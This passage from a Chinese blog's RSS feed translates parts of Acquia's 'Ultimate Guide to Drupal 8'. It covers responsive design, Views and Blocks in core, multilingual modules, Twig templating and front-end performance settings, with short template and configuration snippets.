&lt;p&gt;##随处可见的响应式&lt;/p&gt;

&lt;p&gt;未来五年中，将会有多到无法预测的设备接入互联网，为了追随这种趋势，Drupal 8将响应式设计纳入所有功能之中。&lt;/p&gt;

&lt;p&gt;对入门者来说，所有的核心主题都是响应式的，菜单，Block等元素在移动设备的屏幕上会自动重新排布（如果Viewport太紧凑，可能会把纵向变成横向）。响应式的图片处理也是内置的，所以同一图片在桌面设备会以大尺寸展现，而在平板或手机上进行缩小显示。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/3dec8100934d3cecce5070d542d02b8f.png&#34; alt=&#34;mobile and pc&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 8也对Table提供了响应式的支持，表格的列可以定义为高中低不同的优先级，在宽屏幕上会显示所有列，而屏幕变窄以后，次要的列就开始隐藏了。这一特性也内置在Views模块中，所以用户可以自行定义自己的响应式管理界面。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/1ede8c810a4365d6dfbb43df43a03e7e.png&#34; alt=&#34;admin&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在Drupal 7中可以使用&lt;a href=&#34;https://drupal.org/project/responsive_bartik&#34; target=&#34;_blank&#34;&gt;Responsive Bartik&lt;/a&gt;以及&lt;a href=&#34;https://drupal.org/project/responsive_tables&#34; target=&#34;_blank&#34;&gt;Responsive Tables&lt;/a&gt;模块来完成类似功能。也有为数众多的Drupal 7响应式主题，包括&lt;a href=&#34;http://drupal.org/project/omega&#34; target=&#34;_blank&#34;&gt;Omega&lt;/a&gt;和&lt;a href=&#34;http://drupal.org/project/zen&#34; target=&#34;_blank&#34;&gt;Zen&lt;/a&gt;，利用这些主题可以为自己的站点添加响应式特性。&lt;/p&gt;

&lt;p&gt;##移动设备友好的工具栏&lt;/p&gt;

&lt;p&gt;Drupal 8的工具栏亮点多多，在宽屏幕上，他会自动展开并置为横向；而在小屏幕上则会折叠称谓图标并变为纵向排列。和其他Drupal 8的前端新特性一样，这一功能对访问性的促进非常大，在各种屏幕尺寸下都可以实现流畅的站内跳转。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/93697be8247dbc4442ec5b87f99953c2.png&#34; alt=&#34;Toolbar&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果想在Drupal 7中看到类似特性，可以去看看&lt;a href=&#34;https://drupal.org/project/navbar&#34; target=&#34;_blank&#34;&gt; Mobile Friendly Navigation Toolbar&lt;/a&gt;模块。&lt;/p&gt;

&lt;p&gt;##响应式阅览&lt;/p&gt;

&lt;p&gt;这一部分尚未确定是否能够同Drupal 8核心同时完成，Drupal 7中的&lt;a href=&#34;https://drupal.org/project/responsive_preview&#34; target=&#34;_blank&#34;&gt;Responsive Preview&lt;/a&gt;模块提供了一种易用的，集成到CMS中的预览能力，能够迅速确定你的站点在多种不同的，可定义的设备上的大致的横向或是纵向的显示效果，而不用在硬件上投入几万美金。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/2991b46bdfed6bfdb61fa1bc39c18b4d.png&#34; alt=&#34;baby-ver&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/ce8d91cec18fef97fe2db5b618944d24.png&#34; alt=&#34;baby-hor&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##前端的性能&lt;/p&gt;

&lt;p&gt;对于移动体验来说，性能是一个很大决定性的影响因素。所以，在Drupal 8中投入了很多精力来减轻Drupal 8前端的重量。例如，多数情况下，jQuery会被置换为原生JavaScript，Drupal 8对匿名访问者不会载入JavaScript文件。一些JS密集的功能，例如Overlay模块被移除，以保证对移动设备的友好性（在管理工具栏中会出现一个&amp;rdquo;Back to site&amp;rdquo;连接，在Drupal 7中实现等价功能可以使用&lt;a href=&#34;https://drupal.org/project/escape_admin&#34; target=&#34;_blank&#34;&gt;Escape Admin模块&lt;/a&gt;）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/1f42261185d17605ada61920eab6e088.png&#34; alt=&#34;Back to site&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##接下来&lt;/p&gt;

&lt;p&gt;下周将会讲述&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;Drupal 8对网站建设的改进&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第三部 改进的网站建设</title>
      <link>/post/drupal-site-building-upgraded/</link>
      <pubDate>Wed, 14 Oct 2015 22:08:18 +0800</pubDate>
      <guid>/post/drupal-site-building-upgraded/</guid>
      <description>

&lt;h2 id=&#34;网站建设&#34;&gt;网站建设&lt;/h2&gt;

&lt;p&gt;正如前两篇博客主要从最终用户以及内容编辑人员的角度对Drupal 8进行了介绍，Drupal 8同样对站点建设工具提供了大量改进。&lt;/p&gt;

&lt;h2 id=&#34;views进入核心&#34;&gt;Views进入核心&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://drupal.org/project/views&#34; target=&#34;_blank&#34;&gt;Views&lt;/a&gt;是&lt;a href=&#34;https://drupal.org/project/usage&#34; target=&#34;_blank&#34;&gt;Druapal发行版中用量第一的模块&lt;/a&gt;，现在跟Drupal 8合体了！大多数Views的主要管理功能例如内容、人员以及文件，还有一些Block，RSS Feeds和首页也已经转换为Views。这一改进使得对这些元素的管理变得轻而易举，比如为人员列表新增一个全名的搜索，只需点几下鼠标即可实现。&lt;/p&gt;

&lt;p&gt;所有群众喜闻乐见的Views功能都在集成之列，甚至还包含一点特别的，例如针对移动设备的管理界面，一些可用性和易用性的改进，响应式列表，以及将任何列表导出为JSON文本，从而为外部服务或移动应用提供数据的能力。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/74b94b6c82fb1d2feee014367e26248f.png&#34; alt=&#34;views&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##更多的Blocks&lt;/p&gt;

&lt;p&gt;在Drupal 8中，Blocks多了一些新特性。首先，跟Views的情况类似，很多以前需要硬编码的站点组件已经被转换为Block，例如面包屑，站点名称和口号。这使得对页面的组织更加轻而易举。&lt;/p&gt;

&lt;p&gt;其次，取消了过去只能把Block置入一个区块的限制。现在你可以把Block在多个位置进行放置和复用。例如可以把导航Block同时放倒页头和页脚，而不再需要&lt;a href=&#34;https://drupal.org/project/multiblock&#34; target=&#34;_blank&#34;&gt;Multiblock&lt;/a&gt;模块。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/785f17f621a722f8e6c8fe0e88c82636.png&#34; alt=&#34;Block&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，和内容类型一样，用户还可以创建自定义的Block类型，可以为每个Block在不同的样式，不同的Field下进行调整。例如，创建一个叫&amp;rdquo;广告&amp;rdquo;的Block，其中包含一个叫做&amp;rdquo;Ad Code&amp;rdquo;的字段，这一字段可以包含从远端广告服务获取到的JavaScript代码。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/4d4c277a1121b528b8f6c6870e1c1139.png&#34; alt=&#34;Block&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##Entity和Field的扩展
Drupal 7最为强大的两个建站功能——Entity和Field，在Drupal 8中再次升级。大幅提升了在Drupal中为结构化内容建立数据模型的易用性。&lt;/p&gt;

&lt;p&gt;##更多的Field类型&lt;/p&gt;

&lt;p&gt;除去Drupal 7中包含的Taxonomy, 图片和文件字段类型之外，Drupal 8添加了一些强大的新字段类型，例如Entity Reference和Date，以及一些常用的字段类型例如电话号码，邮件和链接。甚至连&amp;rdquo;是否允许留言&amp;rdquo;的选项也被迁移成为Field，这使得各种类型的Entity都可以进行留言。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/01782531da24608b76bf1b7efe7174a6.png&#34; alt=&#34;Entity&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##Form模式&lt;/p&gt;

&lt;p&gt;在Drupal 7的&amp;rdquo;模式&amp;rdquo;特性基础上进行扩展，让内容在不同上下文中使用不同的展示模式（例如，在缩略模式中显示缩略图，而在缺省视图中展示全图），Drupal 8新增了Form模式，用于数据录入Form。下面以用户注册Form举例，这一Form同用户编辑界面不同，可以把复杂的字段隐藏起来，简化注册过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/0a2c8ecb12885509cd7d46f2f4daa9d4.png&#34; alt=&#34;Manage Form Display&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##教学模式&lt;/p&gt;

&lt;p&gt;Drupal 8带有一个新的教学模块，在管理界面提供了基于上下文的，一步一步的提示，为用户介绍新的术语，并引导用户的站点配置过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/55c932b546b97a798a6f2b98b03abd39.png&#34; alt=&#34;TOUR&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##模块调整&lt;/p&gt;

&lt;p&gt;Drupal 8剥掉了Drupal 7中自带的大量模块，包括博客，仪表盘，OpenID, Overlay, PHP Filter, 投票，Profile和Trigger，另外还有Garland主题。当然Drupal 8也增加了很多功能性的新模块，例如Menu Links/ Menu UI，Block/Custom Block，Ban/History/Actions（以前存在于User/Node/System模块中）。&lt;/p&gt;

&lt;p&gt;Heather James的&lt;a href=&#34;https://www.acquia.com/blog/tutorial-drupal-8-site-building-preview-less-more&#34; target=&#34;_blank&#34;&gt;网站搭建预览&lt;/a&gt;
讲述了这些模块的变化。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/48d9f01eddfbf34b960fc7f9fad97213.png&#34; alt=&#34;Module&#34; /&gt;&lt;/p&gt;

&lt;p&gt;结果就是，Drupal 8核心发型版会自带足够的功能性模块，仅凭这些就可以建立足够成熟的站点，而不是首先安装三十多个模块。&lt;/p&gt;

&lt;p&gt;##Migration Path&lt;/p&gt;

&lt;p&gt;目前UI还没有完成，所以目前没有截图可用，在Drupal 8中，主版本升级工作由Drupal 8版本的&lt;a href=&#34;https://drupal.org/project/migrate&#34; target=&#34;_blank&#34;&gt;Migrate&lt;/a&gt;和&lt;a href=&#34;https://drupal.org/project/migrate_d2d&#34; target=&#34;_blank&#34;&gt;Migrate Drupal-to-Drupal&lt;/a&gt;模块完成。在Drupal 8的正式版本中将支持从Drupal 6（已经完成）和Drupal 7（正在开发）的迁移。以前的迁移过程要把站点下线，然后用几个小时的时间运行脚本尝试升级数据库，现在可以在Drupal 6,7站点运行的状态下，建立新的Drupal 8站点，运行Migration Path，直到所有工作都完成，简单的改一下Web root或者DNS记录，即可完成迁移。&lt;/p&gt;

&lt;p&gt;[Moshed的Drupal 8迁移]（&lt;a href=&#34;https://www.acquia.com/blog/d8migrate），这篇博客描述了改进的升级过程。&#34; target=&#34;_blank&#34;&gt;https://www.acquia.com/blog/d8migrate），这篇博客描述了改进的升级过程。&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;##接下来&lt;/p&gt;

&lt;p&gt;下星期，我们将会探讨一下Drupal 8中的多语言方面的进展。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第四部 多语言支持</title>
      <link>/post/drupal-translation-support/</link>
      <pubDate>Wed, 14 Oct 2015 22:07:57 +0800</pubDate>
      <guid>/post/drupal-translation-support/</guid>
      <description>&lt;p&gt;&lt;em&gt;本文是&lt;a href=&#34;https://www.acquia.com/tags/ultimate-guide-drupal-8&#34; target=&#34;_blank&#34;&gt;Drupal 8终极指南&lt;/a&gt;的第四章&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;在上一节中，我们列举了一些&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;Drupal 8在建站方面的增强&lt;/a&gt;，而关于Drupal 8的新的多语言能力，因其特殊性，我们将用独立一篇的篇幅来描述。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.acquia.com/about-us/team/g-bor-hojtsy&#34; target=&#34;_blank&#34;&gt;Gábor Hojtsy&lt;/a&gt;领导的&lt;a href=&#34;http://www.drupal8multilingual.org/&#34; target=&#34;_blank&#34;&gt;Drupal 8多语言提案&lt;/a&gt;，该计划的&lt;a href=&#34;http://www.drupal8multilingual.org/team&#34; target=&#34;_blank&#34;&gt;参与者&lt;/a&gt;多达千人，是Drupal 8的主要开发焦点之一。本文将抢先报道Drupal 8的多语言站点建设过程。&lt;/p&gt;

&lt;p&gt;（注意，本文的多数内容都是从Gábor的系列大作&lt;a href=&#34;http://hojtsy.hu/multilingual-drupal8&#34; target=&#34;_blank&#34;&gt;Drupal 8多语言花絮&lt;/a&gt;借用而来，所以如果如果你想知道D8MI的全部细节，可以在引文中获得更多信息）。&lt;/p&gt;

&lt;p&gt;##“多语言优先”&lt;/p&gt;

&lt;p&gt;在Drupal 8的安装过程的开始阶段，我们就能看到Drupal 8的多语言界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/3a3f455db3de178062623dd3594252aa.png&#34; alt=&#34;Installer&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 8自动检测浏览器语言，然后自动从下拉列表中选择；更好地是，如果你确定选择一种非英语的语言（或者事后为你的站点新增一种语言），Drupal 8会自动从&lt;a href=&#34;https://localize.drupal.org/&#34; target=&#34;_blank&#34;&gt;https://localize.drupal.org/&lt;/a&gt;下载最新的界面翻译。所以，用户可以在自己的母语环境下完成站点安装和设置。相对Drupal 7用一大篇英文来解释如何下载文件，放到什么目录来说，是一个巨大的进步。&lt;/p&gt;

&lt;p&gt;而且，这一界面还能适应阿拉伯语等的自右向左的对齐方式（当然，Drupal 8还在开发之中，所以有些翻译还是缺失的，如下图所示）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/2b2418b576231417b3e791f0cf15681f.png&#34; alt=&#34;Right-to-left&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，Drupal 8不再将英文作为一个特例。如果选择的不是英文，那么英文选项在站点设置里将不再出现，除非你开启他。同样的，可以把英文进行“翻译”，例如把&amp;rdquo;Log in/Log off&amp;rdquo;转成“Sign in/Sign off”。&lt;/p&gt;

&lt;p&gt;总之，Drupal 8对非英文用户的访问性极大增强了。&lt;/p&gt;

&lt;p&gt;##更少模块，更强功能&lt;/p&gt;

&lt;p&gt;Drupal 7中要简历一个多语言站点需要大概30个模块，以及一大堆繁琐的设置。Drupal 8中，这些功能（甚至更多）被集成到仅仅四个模块中，这使得Drupal 8的多语言功能比Drupal 7更加友好。&lt;/p&gt;

&lt;p&gt;###Language&lt;/p&gt;

&lt;p&gt;Drupal 8多语言功能的基础模块。&lt;/p&gt;

&lt;p&gt;###Configuration Translation&lt;/p&gt;

&lt;p&gt;类似Durpal 7的&lt;a href=&#34;http://drupal.org/project/i18n&#34; target=&#34;_blank&#34;&gt;Internationalization模块&lt;/a&gt;。使Blocks, Menues, Views等元素可进行翻译。&lt;/p&gt;

&lt;p&gt;###Content Translation&lt;/p&gt;

&lt;p&gt;为Nodes, Taxonomy Terms以及评论提供翻译能力（同Drupal 7的核心&amp;rdquo;Content Translation&amp;rdquo;模块不同，更像是&lt;a href=&#34;https://drupal.org/project/entity_translation&#34; target=&#34;_blank&#34;&gt;Entity Translation&lt;/a&gt;模块）。&lt;/p&gt;

&lt;p&gt;###Interface Translation&lt;/p&gt;

&lt;p&gt;翻译Drupal的用户界面（同Drupal 7的Locale核心模块一致）。&lt;/p&gt;

&lt;p&gt;你可能想知道，为什么是四个模块而不是一个？因为非英文的单语言站点也是一种需要考虑的情况，即使是多语言站点，也可能不需要部分功能（例如这样的需求：用户生成的的内容仅使用母语）。这样的模块划分使得站点建设可以依据实际需求对翻译功能进行取舍。&lt;/p&gt;

&lt;p&gt;##随处可选的语言&lt;/p&gt;

&lt;p&gt;从系统配置到Block, Views和菜单等站点组件，甚至是单独的字段值都是可翻译的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/b33d8750ac61ba261088fe93a80f6c26.png&#34; alt=&#34;Translate&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对于评论，Node, 用户，分类词等“内容”Entity，Drupal 8还提供了更多选项。例如配置语言选择器是否可见，是否把新生成的内容缺省设置为站点的缺省语言，内容编辑的首选语言等。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/79fbf232f7defb325f60769b93c9675c.png&#34; alt=&#34;language every where&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##更集成的翻译界面&lt;/p&gt;

&lt;p&gt;另外，Drupal 8的多语言功能实现过程中，花费了很多精力来增进用户体验。新的高集成度的界面是用户可以更高效率的进行翻译。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/613d365f54f1ebca260f6e3c5c759f39.jpg&#34; alt=&#34;ui&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##音译支持&lt;/p&gt;

&lt;p&gt;最后一个很有用的新特性是把&lt;a href=&#34;https://drupal.org/project/transliteration&#34; target=&#34;_blank&#34;&gt;Transliteration模块&lt;/a&gt;集成进了核心。他会自动的把部分字符例如&amp;rdquo;ç&amp;rdquo;翻译成&amp;rdquo;c&amp;rdquo;，&amp;rdquo;ü&amp;rdquo;翻译成&amp;rdquo;u&amp;rdquo;，这样就生成了更加友好的机读名称，在文件上传，Path和搜索结果等情况下变得更加友好。&lt;/p&gt;

&lt;p&gt;##还有更多&lt;/p&gt;

&lt;p&gt;还有一些对于站点建设者来说值得一提的东西：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;很多核心页面使用的是Views，这样就更加容易进行语言相关的定制了，尤其是管理的Views——添加语言过滤，语言列等，只需要点击鼠标即可。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;同Drupal 7的Entity Translation模块集成不同，Drupal 8的核心内容翻译模块同Search和Search API的协同更好，能获取更多的语言信息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;语言选择系统支持分离的&amp;rdquo;管理&amp;rdquo;语言，这也是多语言站点管理员的福音。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>第五部 前端开发增强</title>
      <link>/post/drupal-frontend-dev-upgraded/</link>
      <pubDate>Wed, 14 Oct 2015 22:06:54 +0800</pubDate>
      <guid>/post/drupal-frontend-dev-upgraded/</guid>
      <description>&lt;p&gt;欢迎继续阅读&lt;a href=&#34;https://www.acquia.com/tags/ultimate-guide-drupal-8&#34; target=&#34;_blank&#34;&gt;Drupal 8终极指南&lt;/a&gt;系列的第五篇。&lt;/p&gt;

&lt;p&gt;##HTML5&lt;/p&gt;

&lt;p&gt;Drupal 7中，所有的输出都转换为XHTML，而在8中，则转换为HTML5。这意味着nav/main/header/section等Drupal缺省模板中的标记，成为清理Drupal缺省标记的一部分重要工作。&lt;/p&gt;

&lt;p&gt;HTML5带来了新的Form输入类型，包括date/tel和email，这些类型能在移动设备的界面上进行更好地交互（例如电话号码输入框中只显示输入法的数字部分），方便数据的录入。Drupal Form API提供了这些附加类型，方便直接创建这些字段。Drupal 7也可以使用&lt;a href=&#34;https://drupal.org/project/elements&#34; target=&#34;_blank&#34;&gt;Elements&lt;/a&gt;模块来获得类似效果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/3f314c04407a19def8d1261c0f2466df.png&#34; alt=&#34;Fields on iPhone&#34; /&gt;&lt;/p&gt;

&lt;p&gt;另外，你会发现很多以前需要自行处理的东西例如TextArea的尺寸调整，第一行/最后一行/基数行/偶数行等类，已经有了对应的HTML5/CSS3的处理，Fieldset的折叠功能被替换为detail元素来实现。&lt;/p&gt;

&lt;p&gt;##新的前端库以及辅助工具&lt;/p&gt;

&lt;p&gt;Drupal 5以后就自带jQuery，从7以后开始自带jQuery UI。Drupal 8打包了更多的前端库。例如&lt;a href=&#34;http://modernizr.com/&#34; target=&#34;_blank&#34;&gt;Modernizr&lt;/a&gt;（用于检测浏览器是否支持触摸，或其他一些HTML5/CSS3特性）、&lt;a href=&#34;http://underscorejs.org/&#34; target=&#34;_blank&#34;&gt;Undescore.js&lt;/a&gt;（轻量级JS辅助库）以及&lt;a href=&#34;http://backbonejs.org/&#34; target=&#34;_blank&#34;&gt;Backbone.js&lt;/a&gt;（一个MVC JS框架）。这些附加库集成在一起，使得Drupal能够创建移动友好的，体验丰富的应用，这些库也是前面讲到的编辑体验和移动增强的重要支持。&lt;/p&gt;

&lt;p&gt;##原生Schema.org输出&lt;/p&gt;

&lt;p&gt;Drupal 8的RDF现在输出&lt;a href=&#34;http://schema.org/&#34; target=&#34;_blank&#34;&gt;schema.org&lt;/a&gt;标记，这对搜索引擎优化有很大促进。这能够让Google、Yahoo、Bing以及Yandex这些搜索引擎能够比较容易的获取页面背后的信息，例如内容作者等。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/64d702303d1fa43b831a5deff415a951.png&#34; alt=&#34;Schema.org&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##大大增强的访问性&lt;/p&gt;

&lt;p&gt;Drupal 8继承并发展了&lt;a href=&#34;https://drupal.org/about/accessibility&#34; target=&#34;_blank&#34;&gt;Drupal 7现有的良好访问性&lt;/a&gt;。Drupal 8使用&lt;a href=&#34;http://www.w3.org/WAI/intro/aria&#34; target=&#34;_blank&#34;&gt;WAI-ARIA 属性&lt;/a&gt;来提供富前端体验，包括响应式工具栏以及就地编辑特性。在后端，Drupal 8也提供了很多的&lt;a href=&#34;https://drupal.org/node/1973218&#34; target=&#34;_blank&#34;&gt;JavaScript访问性工具&lt;/a&gt;，来协助开发者提高应用的访问性。并且还有一个“&lt;a href=&#34;https://www.acquia.com/resources/podcasts/acquia-podcast-98-meet-kevin-miller-accessibility-quail&#34; target=&#34;_blank&#34;&gt;利用Quail库进行自动化访问性测试&lt;/a&gt;”的项目正在进行之中。&lt;/p&gt;

&lt;p&gt;这个&lt;a href=&#34;https://www.youtube.com/watch?v=ipOc1km2uEc&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;来自于&lt;a href=&#34;https://prague2013.drupal.org/keynote/dries-buytaert&#34; target=&#34;_blank&#34;&gt;Dries在布拉格DrupalCon的KeyNode&lt;/a&gt;，演示了这些新的访问性功能如何为目标用户进行服务。&lt;/p&gt;

&lt;p&gt;##Twig：新的主题系统&lt;/p&gt;

&lt;p&gt;Drupal 8引入了&lt;a href=&#34;http://twig.sensiolabs.org/&#34; target=&#34;_blank&#34;&gt;Twig&lt;/a&gt;来代替Drupal 7中的模板系统。跟其他类似的模板引擎一样，让具备HTML/CSS背景的人，在没有PHP专家技能的情况下来修改标记。例如，不需要理解嵌套数组和对象的区别，也不需要关注什么时候使用each，一个简单的&lt;strong&gt;{{foo.bar}}&lt;/strong&gt;语句就完成了。简单的条件判断和循环可以用&lt;strong&gt;{% &amp;hellip;%}&lt;/strong&gt;来完成。&lt;/p&gt;

&lt;p&gt;下面的例子来自于page.html.twig(相当于Drupal 7中的page.tpl.php)，其中使用了Twig、HTML5以及一些ARIA支持。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  &amp;lt;?php
    &amp;lt;main role=&amp;quot;main&amp;quot;&amp;gt;
      &amp;lt;a id=&amp;quot;main-content&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;{# link is in html.html.twig #}

      &amp;lt;div class=&amp;quot;layout-content&amp;quot;&amp;gt;
        {{ page.highlighted }}

        {{ title_prefix }}
        {% if title %}
          &amp;lt;h1&amp;gt;{{ title }}&amp;lt;/h1&amp;gt;
        {% endif %}
        {{ title_suffix }}

        {{ tabs }}

        {% if action_links %}
          &amp;lt;nav class=&amp;quot;action-links&amp;quot;&amp;gt;{{ action_links }}&amp;lt;/nav&amp;gt;
        {% endif %}

        {{ page.content }}

        {{ feed_icons }}
      &amp;lt;/div&amp;gt;{# /.layout-content #}

      {% if page.sidebar_first %}
        &amp;lt;aside class=&amp;quot;layout-sidebar-first&amp;quot; role=&amp;quot;complementary&amp;quot;&amp;gt;
          {{ page.sidebar_first }}
        &amp;lt;/aside&amp;gt;
      {% endif %}

      {% if page.sidebar_second %}
        &amp;lt;aside class=&amp;quot;layout-sidebar-second&amp;quot; role=&amp;quot;complementary&amp;quot;&amp;gt;
          {{ page.sidebar_second }}
        &amp;lt;/aside&amp;gt;
      {% endif %}

    &amp;lt;/main&amp;gt;
  ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可是没有PHP，怎么使用那些变量呢？像平时一样（只不过以前的template.php现在变成了THEME.theme）用*THEME_preprocess_HOOK()*函数来搞定。Twig在表达层和业务逻辑的分离上作出了卓有成效的努力，使得主题层面的可管理性和安全性大大增强（一旦&lt;a href=&#34;https://drupal.org/node/1825952&#34; target=&#34;_blank&#34;&gt;Twig变量自动转义&lt;/a&gt;完成，安全性还将进一步提高）。&lt;/p&gt;

&lt;p&gt;Twig另外还有一个有意思的事情是如果你在settings.php用&lt;strong&gt;$settings[&amp;lsquo;twig_debug&amp;rsquo;] = TRUE&lt;/strong&gt;启用了debug模式，那么Drupal 8生成的标记里面会出现有用的代码说明，用来提醒你要修改的模板在哪个文件，正在使用什么样的&amp;rdquo;theme suggestion&amp;rdquo;来生成标记，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;

&amp;lt;!-- THEME DEBUG --&amp;gt;
&amp;lt;!-- CALL: _theme(&#39;node&#39;) --&amp;gt;
&amp;lt;!-- FILE NAME SUGGESTIONS:
   * node--1--full.html.twig
   * node--1.html.twig
   * node--article--full.html.twig
   * node--article.html.twig
   * node--full.html.twig
   x node.html.twig
--&amp;gt;
&amp;lt;!-- BEGIN OUTPUT from &#39;core/themes/bartik/templates/node.html.twig&#39; --&amp;gt;
&amp;lt;article class=&amp;quot;node node--type-article node--promoted node--view-mode-full contextual-region clearfix quickedit-processed&amp;quot; data-history-node-id=&amp;quot;1&amp;quot; data-quickedit-entity-id=&amp;quot;node/1&amp;quot; role=&amp;quot;article&amp;quot; about=&amp;quot;/node/1&amp;quot; typeof=&amp;quot;schema:Article&amp;quot; data-quickedit-entity-instance-id=&amp;quot;0&amp;quot;&amp;gt;
    ...
&amp;lt;/article&amp;gt;

&amp;lt;!-- END OUTPUT from &#39;core/themes/bartik/templates/node.html.twig&#39; --&amp;gt;

      &amp;lt;/div&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这有点像把&lt;a href=&#34;https://drupal.org/project/devel_themer&#34; target=&#34;_blank&#34;&gt;Theme developer&lt;/a&gt;集成到核心一样。&lt;/p&gt;

&lt;p&gt;##唯快不破&lt;/p&gt;

&lt;p&gt;Acquia的性能大师Wim Leers假设，&lt;a href=&#34;http://wimleers.com/article/performance-calendar-2013-making-the-entire-web-fast&#34; target=&#34;_blank&#34;&gt;为领导地位的CMS提速&lt;/a&gt;是为整个Internet提速的最好方法，这意味着，CMS的初始安装就应该具有高性能的配置，而不是让用户自己学习这些技能。在Drupal 8中，我们就在做这种努力。你可能注意到，Drupal 8缺省安装时，CSS JS聚合等特性就已经设置为打开了。&lt;/p&gt;

&lt;p&gt;如果你是一个前端开发者，这对你意味着：Drupal的缺省安装对你来说可能不是一个好的开发环境，除非你手动去关掉这些性能选项（即使Hack掉核心的CSS也没用）。幸运的是，Drupal 8自带了一个&lt;strong&gt;sites/example.settings.local.php&lt;/strong&gt;文件用来完成这个任务。这个文件用硬编码的方式把这些性能选项关掉，所以这个配置文件对开发者是很有用的。只要把这个文件复制成为&lt;strong&gt;sites/default/settings.local.php&lt;/strong&gt;，并在&lt;strong&gt;sites/default/settings.php&lt;/strong&gt;中把下面的行注释掉：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
# if (file_exists(__DIR__ . &#39;/settings.local.php&#39;)) {
#   include __DIR__ . &#39;/settings.local.php&#39;;
# }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来说说没被注释掉的行，你的新的settings.local.php文件中也有一些关于Twig的选项是缺省关闭的，例如打开debug模式，以及关闭缓存。去掉这些注释很显然会把开发站点变慢，不过也能让Theme开发简单一点，因为对模板的修改能够立即看到了，而不用等着清空缓存。&lt;/p&gt;

&lt;p&gt;另外一个前端性能相关的新闻，为了尽可能提高前端性能，尤其是移动设备的前端性能，Drupal会带着最新版本的jQuery和jQuery UI，相对于普通的JavaScript，这实际上存在很大的差异。缺省Drupal 8安装不会为匿名用户载入任何JavaScript。&lt;/p&gt;

&lt;p&gt;总的说来，性能方面的优化，&lt;a href=&#34;https://drupal.org/node/1744302&#34; target=&#34;_blank&#34;&gt;还有很多工作要做&lt;/a&gt;，Drupal 8将带着有更好的前端性能面世。&lt;/p&gt;

&lt;p&gt;##新的界面元素&lt;/p&gt;

&lt;p&gt;Drupal 8带着很多新的界面元素。包括模态对话框和下拉按钮，在Drupal7和以前的版本中，这两个组件本来是&lt;a href=&#34;http://drupal.org/project/ctools&#34; target=&#34;_blank&#34;&gt;CTools&lt;/a&gt;模块的一部分。Drupal 8还引入了一个概念，“按钮类型”分为“首要”（在Seven主题中渲染为蓝色），以及”危险“（红色），来帮助用户在具有众多选项的时候作出正确选择。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/20707d90d6629667a25bbcef8b5000f0.png&#34; alt=&#34;new element&#34; /&gt;&lt;/p&gt;

